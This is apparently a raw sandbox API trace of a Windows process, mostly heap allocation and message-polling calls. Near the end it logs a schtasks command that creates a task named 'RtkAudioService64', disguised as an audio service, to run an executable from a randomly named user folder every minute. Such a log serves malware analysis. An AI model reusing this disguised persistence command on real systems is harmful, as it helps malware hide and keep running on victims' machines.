[0169.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0169.379] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8b8 [0169.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0169.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0169.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0169.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0169.379] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0169.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0169.379] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0169.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077dc8 [0169.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf928 [0169.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077de0 [0169.379] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f60 [0169.379] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba8b8 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d98 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf8b8 [0169.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d98 | out: hHeap=0xe80000) returned 1 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec25d8 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ed0 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f90 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0169.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f90 | out: hHeap=0xe80000) returned 1 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa18 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0169.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0169.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0169.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0169.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0169.380] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0169.380] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba458 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d98 [0169.380] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0169.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0169.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d98 | out: hHeap=0xe80000) returned 1 [0169.381] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba458 | out: hHeap=0xe80000) returned 1 [0169.381] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.382] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0169.382] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0169.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0169.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.382] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.382] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0169.382] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0169.382] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0169.382] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.383] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0169.383] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.383] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf858 [0169.383] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf868 [0169.383] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.383] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.383] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0169.383] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0169.383] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec6d0 [0169.384] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.384] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec6d0 | out: hHeap=0xe80000) returned 1 [0169.384] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.384] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba458 [0169.384] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cd8 [0169.384] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0169.384] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d68 [0169.385] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.385] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d68 | out: hHeap=0xe80000) returned 1 [0169.385] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cd8 | out: hHeap=0xe80000) returned 1 [0169.385] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba458 | out: hHeap=0xe80000) returned 1 [0169.391] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.391] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.391] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba6b0 [0169.391] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e40 [0169.391] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9a8 [0169.391] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ea0 [0169.391] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0169.391] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ea0 | out: hHeap=0xe80000) returned 1 [0169.391] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e40 | out: hHeap=0xe80000) returned 1 [0169.392] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba6b0 | out: hHeap=0xe80000) returned 1 [0169.392] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.392] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0169.393] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0169.393] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.393] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.393] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0169.393] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0169.393] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0169.393] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.394] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0169.394] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.394] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8a8 [0169.394] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9a8 [0169.394] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.395] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.395] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0169.395] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0169.395] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec3d0 [0169.395] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.395] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba458 [0169.395] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f00 [0169.395] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf858 [0169.395] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f30 [0169.395] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e58 [0169.396] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.396] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba6b0 [0169.396] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e10 [0169.396] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9a8 [0169.396] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e10 | out: hHeap=0xe80000) returned 1 [0169.396] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec22c8 [0169.396] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cc0 [0169.396] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f48 [0169.396] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0169.396] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f48 | out: hHeap=0xe80000) returned 1 [0169.397] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0169.397] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7cb8 [0169.397] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0169.397] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.397] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0169.397] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.398] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec3d0 | out: hHeap=0xe80000) returned 1 [0169.399] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb50 | out: hHeap=0xe80000) returned 1 [0169.399] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.399] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9b8 [0169.399] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9b8 | out: hHeap=0xe80000) returned 1 [0169.399] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0169.399] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.399] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba7f0 [0169.399] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077f48 [0169.399] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0169.399] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077df8 [0169.399] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.399] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e10 [0169.399] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8a8 [0169.399] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d38 [0169.399] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0169.400] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0169.400] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d20 [0169.400] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf868 [0169.400] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2958 [0169.400] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d20 | out: hHeap=0xe80000) returned 1 [0169.400] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e28 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2958 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e28 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d98 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d08 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba6d8 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d20 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ee8 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xecc6d8 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e28 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e28 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f78 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba6d8 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f90 | out: hHeap=0xe80000) returned 1 [0169.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d50 | out: hHeap=0xe80000) returned 1 [0169.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077fa8 | out: hHeap=0xe80000) returned 1 [0169.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0169.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0169.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0169.402] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x770a0000 [0169.403] GetProcAddress (hModule=0x770a0000, lpProcName="GetSystemWow64DirectoryW") returned 0x770c6eb0 [0169.403] GetSystemWow64DirectoryW (in: lpBuffer=0xbdf1e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0169.403] FreeLibrary (hLibModule=0x770a0000) returned 1 [0169.403] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xee4490 | out: hHeap=0xe80000) returned 1 [0169.403] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0169.403] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.403] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xee4490 | out: hHeap=0xe80000) returned 1 [0169.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa18 | out: hHeap=0xe80000) returned 1 [0169.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.404] ShellExecuteExW (in: pExecInfo=0xbdf620*(cbSize=0x3c, fMask=0x40, hwnd=0x0, lpVerb="", lpFile="schtasks", lpParameters="/create /tn RtkAudioService64 /tr \"C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe\" /sc minute /mo 1 /F", lpDirectory="C:\\Windows\\SysWOW64", nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0xbdf620*(cbSize=0x3c, fMask=0x40, hwnd=0x0, lpVerb="", lpFile="schtasks", lpParameters="/create /tn RtkAudioService64 /tr \"C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe\" /sc minute /mo 1 /F", lpDirectory="C:\\Windows\\SysWOW64", nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x3d0)) returned 1 [0169.542] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0169.542] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xedfd08 | out: hHeap=0xe80000) returned 1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xf004d8 | out: hHeap=0xe80000) returned 1 [0169.691] GetProcessId (Process=0x3d0) returned 0x12fc [0169.691] CloseHandle (hObject=0x3d0) returned 1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cf0 | out: hHeap=0xe80000) returned 1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f48 | out: hHeap=0xe80000) returned 1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xedafb0 | out: hHeap=0xe80000) returned 1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf868 | out: hHeap=0xe80000) returned 1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d38 | out: hHeap=0xe80000) returned 1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e10 | out: hHeap=0xe80000) returned 1 [0169.691] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2338 | out: hHeap=0xe80000) returned 1 [0169.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8a8 | out: hHeap=0xe80000) returned 1 [0169.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f78 | out: hHeap=0xe80000) returned 1 [0169.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d80 | out: hHeap=0xe80000) returned 1 [0169.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ea0 | out: hHeap=0xe80000) returned 1 [0169.692] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e70 | out: hHeap=0xe80000) returned 1 [0169.692] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.692] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba7f0 [0169.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077df8 [0169.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf868 [0169.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba9d0 [0169.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077e70 [0169.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077cd8 [0169.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8a8 [0169.692] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebaa20 [0169.692] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ea0 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf8a8 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebaca0 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d38 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077d80 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0169.693] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec6d0 [0169.693] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0169.693] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf938 